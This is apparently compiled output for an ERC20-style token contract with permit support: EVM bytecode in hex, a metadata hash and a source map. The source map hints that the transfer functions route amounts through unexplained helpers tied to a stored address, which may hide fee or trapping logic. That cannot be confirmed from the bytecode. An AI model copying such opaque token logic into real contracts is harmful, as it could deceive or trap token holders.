ffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c9190611665565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d919061179f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c9594939291906117b5565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f9e578082015181840152602081019050610f83565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610fc382610f67565b610fcd8185610f71565b9350610fdd818560208601610f81565b610fe681610fa9565b840191505092915050565b5f6020820190508181035f8301526110098184610fb9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61103e82611015565b9050919050565b61104e81611034565b8114611058575f80fd5b50565b5f8135905061106981611045565b92915050565b5f819050919050565b6110818161106f565b811461108b575f80fd5b50565b5f8135905061109c81611078565b92915050565b5f80604083850312156110b8576110b7611011565b5b5f6110c58582860161105b565b92505060206110d68582860161108e565b9150509250929050565b5f8115159050919050565b6110f4816110e0565b82525050565b5f60208201905061110d5f8301846110eb565b92915050565b61111c8161106f565b82525050565b5f6020820190506111355f830184611113565b92915050565b5f805f6060848603121561115257611151611011565b5b5f61115f8682870161105b565b93505060206111708682870161105b565b92505060406111818682870161108e565b9150509250925092565b5f60ff82169050919050565b6111a08161118b565b82525050565b5f6020820190506111b95f830184611197565b92915050565b5f819050919050565b6111d1816111bf565b82525050565b5f6020820190506111ea5f8301846111c8565b92915050565b5f6020828403121561120557611204611011565b5b5f6112128482850161105b565b91505092915050565b6112248161118b565b811461122e575f80fd5b50565b5f8135905061123f8161121b565b92915050565b61124e816111bf565b8114611258575f80fd5b50565b5f8135905061126981611245565b92915050565b5f805f805f805f60e0888a03121561128a57611289611011565b5b5f6112978a828b0161105b565b97505060206112a88a828b0161105b565b96505060406112b98a828b0161108e565b95505060606112ca8a828b0161108e565b94505060806112db8a828b01611231565b93505060a06112ec8a828b0161125b565b92505060c06112fd8a828b0161125b565b91505092959891949750929550565b5f806040838503121561132257611321611011565b5b5f61132f8582860161105b565b92505060206113408582860161105b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138e57607f821691505b6020821081036113a1576113a061134a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113de8261106f565b91506113e98361106f565b9250828203905081811115611401576114006113a7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61143b601783610f71565b915061144682611407565b602082019050919050565b5f6020820190508181035f8301526114688161142f565b9050919050565b61147881611034565b82525050565b5f60c0820190506114915f8301896111c8565b61149e602083018861146f565b6114ab604083018761146f565b6114b86060830186611113565b6114c56080830185611113565b6114d260a0830184611113565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61151b6002836114dd565b9150611526826114e7565b600282019050919050565b5f819050919050565b61154b611546826111bf565b611531565b82525050565b5f61155b8261150f565b9150611567828561153a565b602082019150611577828461153a565b6020820191508190509392505050565b5f60808201905061159a5f8301876111c8565b6115a76020830186611197565b6115b460408301856111c8565b6115c160608301846111c8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115fe600e83610f71565b9150611609826115ca565b602082019050919050565b5f6020820190508181035f83015261162b816115f2565b9050919050565b5f61163c8261106f565b91506116478361106f565b925082820190508082111561165f5761165e6113a7565b5b92915050565b5f61166f8261106f565b915061167a8361106f565b92508282026116888161106f565b9150828204841483151761169f5761169e6113a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116dd8261106f565b91506116e88361106f565b9250826116f8576116f76116a6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461172b81611377565b6117358186611703565b9450600182165f811461174f576001811461176457611796565b60ff1983168652811515820286019350611796565b61176d8561170d565b5f5b8381101561178e5781548189015260018201915060208101905061176f565b838801955050505b50505092915050565b5f6117aa828461171f565b915081905092915050565b5f60a0820190506117c85f8301886111c8565b6117d560208301876111c8565b6117e260408301866111c8565b6117ef6060830185611113565b6117fc608083018461146f565b969550505050505056fea264697066735822122037abb37de5649d0596860ad086b887ee9da23793308770fed40b9901df58a29764736f6c63430008180033

194:159:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;626:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2081:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;899:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2714:621;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;678:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5013:177;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;932:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1371:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;651:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2298:410;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3524:1483;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;983:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;626:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2081:211::-;2155:4;2204:6;2171:9;:21;2181:10;2171:21;;;;;;;;;;;;;;;:30;2193:7;2171:30;;;;;;;;;;;;;;;:39;;;;2247:7;2226:37;;2235:10;2226:37;;;2256:6;2226:37;;;;;;:::i;:::-;;;;;;;;2281:4;2274:11;;2081:211;;;;:::o;899:26::-;;;;:::o;2714:621::-;2832:4;2848:15;2866:9;:15;2876:4;2866:15;;;;;;;;;;;;;;;:27;2882:10;2866:27;;;;;;;;;;;;;;;;2848:45;;2955:17;2944:7;:28;2940:80;;3014:6;3004:7;:16;;;;:::i;:::-;2974:9;:15;2984:4;2974:15;;;;;;;;;;;;;;;:27;2990:10;2974:27;;;;;;;;;;;;;;;:46;;;;2940:80;3050:6;3031:9;:15;3041:4;3031:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3219:19;3221:6;3229:4;3235:2;3219:1;:19::i;:::-;3202:9;:13;3212:2;3202:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3258:7;3262:2;3258:3;:7::i;:::-;3295:2;3280:26;;3289:4;3280:26;;;3299:6;3280:26;;;;;;:::i;:::-;;;;;;;;3324:4;3317:11;;;2714:621;;;;;:::o;678:31::-;;;:::o;5013:177::-;5070:7;5113:16;5096:13;:33;:87;;5159:24;:22;:24::i;:::-;5096:87;;;5132:24;5096:87;5089:94;;5013:177;:::o;932:44::-;;;;;;;;;;;;;;;;;:::o;1371:41::-;;;;;;;;;;;;;;;;;:::o;651:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2298:410::-;2368:4;2409:6;2384:9;:21;2394:10;2384:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2578:25;2580:6;2588:10;2600:2;2578:1;:25::i;:::-;2561:9;:13;2571:2;2561:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2624:7;2628:2;2624:3;:7::i;:::-;2668:2;2647:32;;2656:10;2647:32;;;2672:6;2647:32;;;;;;:::i;:::-;;;;;;;;2697:4;2690:11;;2298:410;;;;:::o;3524:1483::-;3743:15;3731:8;:27;;3723:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3951:24;3978:805;4114:18;:16;:18::i;:::-;4241:165;4440:5;4479:7;4520:5;4559:6;:13;4566:5;4559:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;4608:8;4197:449;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4158:514;;;;;;4036:658;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4005:707;;;;;;4730:1;4749;4768;3978:805;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3951:832;;4834:1;4806:30;;:16;:30;;;;:59;;;;;4860:5;4840:25;;:16;:25;;;4806:59;4798:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;4938:5;4899:9;:27;4909:16;4899:27;;;;;;;;;;;;;;;:36;4927:7;4899:36;;;;;;;;;;;;;;;:44;;;;3927:1027;4985:7;4969:31;;4978:5;4969:31;;;4994:5;4969:31;;;;;;:::i;:::-;;;;;;;;3524:1483;;;;;;;:::o;983:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5648:293::-;5718:15;5816:4;5792:31;;5771:9;:13;5781:2;;;;;;;;;;;5771:13;;;;;;;;;;;;;;;:17;5785:2;5771:17;;;;;;;;;;;;;;;;5749:9;:13;5759:2;;;;;;;;;;;5749:13;;;;;;;;;;;;;;;:19;5763:4;5749:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;5745:190;;5868:10;5857:8;5849:5;:16;;;;:::i;:::-;:29;;;;:::i;:::-;5839:39;;5745:190;;;5919:5;5909:15;;5745:190;5648:293;;;;;:::o;5947:142::-;6023:2;;;;;;;;;;;6007:20;;5986:9;:13;5996:2;;;;;;;;;;;5986:13;;;;;;;;;;;;;;;:17;6000:2;5986:17;;;;;;;;;;;;;;;;:41;5982:106;;6079:4;6055:31;;6051:1;:35;;;;:::i;:::-;6031:9;:13;6041:2;;;;;;;;;;;6031:13;;;;;;;;;;;;;;;:17;6045:2;6031:17;;;;;;;;;;;;;;;:55;;;;5982:106;5947:142;:::o;5196:446::-;5261:7;5358:95;5491:4;5475:22;;;;;;:::i;:::-;;;;;;;;5519:14;5555:13;5598:4;5326:295;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5299:336;;;;;;5280:355;;5196:446;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:77::-;4890:7;4919:5;4908:16;;4853:77;;;:::o;4936:118::-;5023:24;5041:5;5023:24;:::i;:::-;5018:3;5011:37;4936:118;;:::o;5060:222::-;5153:4;5191:2;5180:9;5176:18;5168:26;;5204:71;5272:1;5261:9;5257:17;5248:6;5204:71;:::i;:::-;5060:222;;;;:::o;5288:329::-;5347:6;5396:2;5384:9;5375:7;5371:23;5367:32;5364:119;;;5402:79;;:::i;:::-;5364:119;5522:1;5547:53;5592:7;5583:6;5572:9;5568:22;5547:53;:::i;:::-;5537:63;;5493:117;5288:329;;;;:::o;5623:118::-;5694:22;5710:5;5694:22;:::i;:::-;5687:5;5684:33;5674:61;;5731:1;5728;5721:12;5674:61;5623:118;:::o;5747:135::-;5791:5;5829:6;5816:20;5807:29;;5845:31;5870:5;5845:31;:::i;:::-;5747:135;;;;:::o;5888:122::-;5961:24;5979:5;5961:24;:::i;:::-;5954:5;5951:35;5941:63;;6000:1;5997;5990:12;5941:63;5888:122;:::o;6016:139::-;6062:5;6100:6;6087:20;6078:29;;6116:33;6143:5;6116:33;:::i;:::-;6016:139;;;;:::o;6161:1199::-;6272:6;6280;6288;6296;6304;6312;6320;6369:3;6357:9;6348:7;6344:23;6340:33;6337:120;;;6376:79;;:::i;:::-;6337:120;6496:1;6521:53;6566:7;6557:6;6546:9;6542:22;6521:53;:::i;:::-;6511:63;;6467:117;6623:2;6649:53;6694:7;6685:6;6674:9;6670:22;6649:53;:::i;:::-;6639:63;;6594:118;6751:2;6777:53;6822:7;6813:6;6802:9;6798:22;6777:53;:::i;:::-;6767:63;;6722:118;6879:2;6905:53;6950:7;6941:6;6930:9;6926:22;6905:53;:::i;:::-;6895:63;;6850:118;7007:3;7034:51;7077:7;7068:6;7057:9;7053:22;7034:51;:::i;:::-;7024:61;;6978:117;7134:3;7161:53;7206:7;7197:6;7186:9;7182:22;7161:53;:::i;:::-;7151:63;;7105:119;7263:3;7290:53;7335:7;7326:6;7315:9;7311:22;7290:53;:::i;:::-;7280:63;;7234:119;6161:1199;;;;;;;;;;:::o;7366:474::-;7434:6;7442;7491:2;7479:9;7470:7;7466:23;7462:32;7459:119;;;7497:79;;:::i;:::-;7459:119;7617:1;7642:53;7687:7;7678:6;7667:9;7663:22;7642:53;:::i;:::-;7632:63;;7588:117;7744:2;7770:53;7815:7;7806:6;7795:9;7791:22;7770:53;:::i;:::-;7760:63;;7715:118;7366:474;;;;;:::o;7846:180::-;7894:77;7891:1;7884:88;7991:4;7988:1;7981:15;8015:4;8012:1;8005:15;8032:320;8076:6;8113:1;8107:4;8103:12;8093:22;;8160:1;8154:4;8150:12;8181:18;8171:81;;8237:4;8229:6;8225:17;8215:27;;8171:81;8299:2;8291:6;8288:14;8268:18;8265:38;8262:84;;8318:18;;:::i;:::-;8262:84;8083:269;8032:320;;;:::o;8358:180::-;8406:77;8403:1;8396:88;8503:4;8500:1;8493:15;8527:4;8524:1;8517:15;8544:194;8584:4;8604:20;8622:1;8604:20;:::i;:::-;8599:25;;8638:20;8656:1;8638:20;:::i;:::-;8633:25;;8682:1;8679;8675:9;8667:17;;8706:1;8700:4;8697:11;8694:37;;;8711:18;;:::i;:::-;8694:37;8544:194;;;;:::o;8744:173::-;8884:25;8880:1;8872:6;8868:14;8861:49;8744:173;:::o;8923:366::-;9065:3;9086:67;9150:2;9145:3;9086:67;:::i;:::-;9079:74;;9162:93;9251:3;9162:93;:::i;:::-;9280:2;9275:3;9271:12;9264:19;;8923:366;;;:::o;9295:419::-;9461:4;9499:2;9488:9;9484:18;9476:26;;9548:9;9542:4;9538:20;9534:1;9523:9;9519:17;9512:47;9576:131;9702:4;9576:131;:::i;:::-;9568:139;;9295:419;;;:::o;9720:118::-;9807:24;9825:5;9807:24;:::i;:::-;9802:3;9795:37;9720:118;;:::o;9844:775::-;10077:4;10115:3;10104:9;10100:19;10092:27;;10129:71;10197:1;10186:9;10182:17;10173:6;10129:71;:::i;:::-;10210:72;10278:2;10267:9;10263:18;10254:6;10210:72;:::i;:::-;10292;10360:2;10349:9;10345:18;10336:6;10292:72;:::i;:::-;10374;10442:2;10431:9;10427:18;10418:6;10374:72;:::i;:::-;10456:73;10524:3;10513:9;10509:19;10500:6;10456:73;:::i;:::-;10539;10607:3;10596:9;10592:19;10583:6;10539:73;:::i;:::-;9844:775;;;;;;;;;:::o;10625:148::-;10727:11;10764:3;10749:18;;10625:148;;;;:::o;10779:214::-;10919:66;10915:1;10907:6;10903:14;10896:90;10779:214;:::o;10999:400::-;11159:3;11180:84;11262:1;11257:3;11180:84;:::i;:::-;11173:91;;11273:93;11362:3;11273:93;:::i;:::-;11391:1;11386:3;11382:11;11375:18;;10999:400;;;:::o;11405:79::-;11444:7;11473:5;11462:16;;11405:79;;;:::o;11490:157::-;11595:45;11615:24;11633:5;11615:24;:::i;:::-;11595:45;:::i;:::-;11590:3;11583:58;11490:157;;:::o;11653:663::-;11894:3;11916:148;12060:3;11916:148;:::i;:::-;11909:155;;12074:75;12145:3;12136:6;12074:75;:::i;:::-;12174:2;12169:3;12165:12;12158:19;;12187:75;12258:3;12249:6;12187:75;:::i;:::-;12287:2;12282:3;12278:12;12271:19;;12307:3;12300:10;;11653:663;;;;;:::o;12322:545::-;12495:4;12533:3;12522:9;12518:19;12510:27;;12547:71;12615:1;12604:9;12600:17;12591:6;12547:71;:::i;:::-;12628:68;12692:2;12681:9;12677:18;12668:6;12628:68;:::i;:::-;12706:72;12774:2;12763:9;12759:18;12750:6;12706:72;:::i;:::-;12788;12856:2;12845:9;12841:18;12832:6;12788:72;:::i;:::-;12322:545;;;;;;;:::o;12873:164::-;13013:16;13009:1;13001:6;12997:14;12990:40;12873:164;:::o;13043:366::-;13185:3;13206:67;13270:2;13265:3;13206:67;:::i;:::-;13199:74;;13282:93;13371:3;13282:93;:::i;:::-;13400:2;13395:3;13391:12;13384:19;;13043:366;;;:::o;13415:419::-;13581:4;13619:2;13608:9;13604:18;13596:26;;13668:9;13662:4;13658:20;13654:1;13643:9;13639:17;13632:47;13696:131;13822:4;13696:131;:::i;:::-;13688:139;;13415:419;;;:::o;13840:191::-;13880:3;13899:20;13917:1;13899:20;:::i;:::-;13894:25;;13933:20;13951:1;13933:20;:::i;:::-;13928:25;;13976:1;13973;13969:9;13962:16;;13997:3;13994:1;13991:10;13988:36;;;14004:18;;:::i;:::-;13988:36;13840:191;;;;:::o;14037:410::-;14077:7;14100:20;14118:1;14100:20;:::i;:::-;14095:25;;14134:20;14152:1;14134:20;:::i;:::-;14129:25;;14189:1;14186;14182:9;14211:30;14229:11;14211:30;:::i;:::-;14200:41;;14390:1;14381:7;14377:15;14374:1;14371:22;14351:1;14344:9;14324:83;14301:139;;14420:18;;:::i;:::-;14301:139;14085:362;14037:410;;;;:::o;14453:180::-;14501:77;14498:1;14491:88;14598:4;14595:1;14588:15;14622:4;14619:1;14612:15;14639:185;14679:1;14696:20;14714:1;14696:20;:::i;:::-;14691:25;;14730:20;14748:1;14730:20;:::i;:::-;14725:25;;14769:1;14759:35;;14774:18;;:::i;:::-;14759:35;14816:1;14813;14809:9;14804:14;;14639:185;;;;:::o;14830:147::-;14931:11;14968:3;14953:18;;14830:147;;;;:::o;14983:144::-;15035:4;15058:3;15050:11;;15081:3;15078:1;15071:14;15115:4;15112:1;15102:18;15094:26;;14983:144;;;:::o;15155:878::-;15260:3;15297:5;15291:12;15326:36;15352:9;15326:36;:::i;:::-;15378:88;15459:6;15454:3;15378:88;:::i;:::-;15371:95;;15497:1;15486:9;15482:17;15513:1;15508:166;;;;15688:1;15683:344;;;;15475:552;;15508:166;15592:4;15588:9;15577;15573:25;15568:3;15561:38;15654:6;15647:14;15640:22;15632:6;15628:35;15623:3;15619:45;15612:52;;15508:166;;15683:344;15750:41;15785:5;15750:41;:::i;:::-;15813:1;15827:154;15841:6;15838:1;15835:13;15827:154;;;15915:7;15909:14;15905:1;15900:3;15896:11;15889:35;15965:1;15956:7;15952:15;15941:26;;15863:4;15860:1;15856:12;15851:17;;15827:154;;;16010:6;16005:3;16001:16;15994:23;;15690:337;;15475:552;;15264:769;;15155:878;;;;:::o;16039:273::-;16170:3;16192:94;16282:3;16273:6;16192:94;:::i;:::-;16185:101;;16303:3;16296:10;;16039:273;;;;:::o;16318:664::-;16523:4;16561:3;16550:9;16546:19;16538:27;;16575:71;16643:1;16632:9;16628:17;16619:6;16575:71;:::i;:::-;16656:72;16724:2;16713:9;16709:18;16700:6;16656:72;:::i;:::-;16738;16806:2;16795:9;16791:18;16782:6;16738:72;:::i;:::-;16820;16888:2;16877:9;16873:18;16864:6;16820:72;:::i;:::-;16902:73;16970:3;16959:9;16955:19;16946:6;16902:73;:::i;:::-;16318:664;;;;;;;;:::o

ipfs://37abb37de5649d0596860ad086b887ee9da23793308770fed40b9901df58a297